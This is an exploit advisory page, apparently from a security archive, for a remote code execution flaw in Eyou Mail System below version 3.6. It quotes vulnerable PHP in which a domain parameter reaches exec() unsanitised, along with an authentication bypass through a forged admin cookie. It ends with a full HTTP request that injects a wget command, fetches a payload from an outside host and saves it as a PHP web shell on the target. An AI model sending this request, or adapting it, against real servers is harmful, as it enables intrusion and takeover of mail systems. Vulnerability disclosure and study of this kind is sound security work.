what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Eyou Mail System Remote Code Execution

Eyou Mail System Remote Code Execution
Posted Jan 8, 2014
Authored by conqu3r.zeng

Eyou Mail System suffers from a remote command execution vulnerability.

tags | exploit, remote
SHA-256 | 9eb2afa048f0423a66d6d70e5d349f8ff7afc7986f519cce410651a890eb14ce

Eyou Mail System Remote Code Execution

Change Mirror Download
Hi!
The Eyou Mail System have a Remote Code Execution in \inc\fuction.php.It affects version below 3.6.
The Vulnerability fuction is get_login_ip_config_file in \inc\fuction.php.
function get_login_ip_config_file($domain, $file) {
$dir = '/var/eyou/Domain/';
$dir_mail = exec('/var/eyou/sbin/hashid '.$domain); //$domain can control by us.
....
}
the other file in \admin\domain\ip_login_set\d_ip_login_get.php.
<?php
...
require_once('inc/domain.config.php');
//ValidateAdmin(); //We donn't need to login in.
$domainname = get_domain(); //Get cookie¡¡¡¡
$allow_file = 'web_login_allow_ip';
$deny_file = 'web_login_deny_ip';
$domain = trim(get('domain')); //$domain from here.
$type = trim(get('type'));¡¡¡¡//Get type
$res = '';
if($domainname !== 'admin' && $domainname !== $domain) { //we just need control $cookie=admin can bypass it and go on.
echo '';
exit;
}
if($type === 'allow') {¡¡//$type any go
$file = $allow_file;
$res .= 'ip_allow&';
} elseif($type === 'deny') {
$file = $deny_file;
$res .= 'ip_deny&';
} else {
echo '';
exit;
}
$file = get_login_ip_config_file($domain, $file);// use the vulnerability fuction
if($file === FALSE) {
echo $res;
exit;
}

Exp:
GET /admin/domain/ip_login_set/d_ip_login_get.php?domain=%3Bwget%20http://conqu3r.paxmac.org/exp.txt%3Bcp%20exp.txt%20exp.php&type=allow HTTP/1.1
Host: mail.xxx.com.cn
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie:cookie=admin
Connection: keep-alive
Thanks.



conqu3r.zeng
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close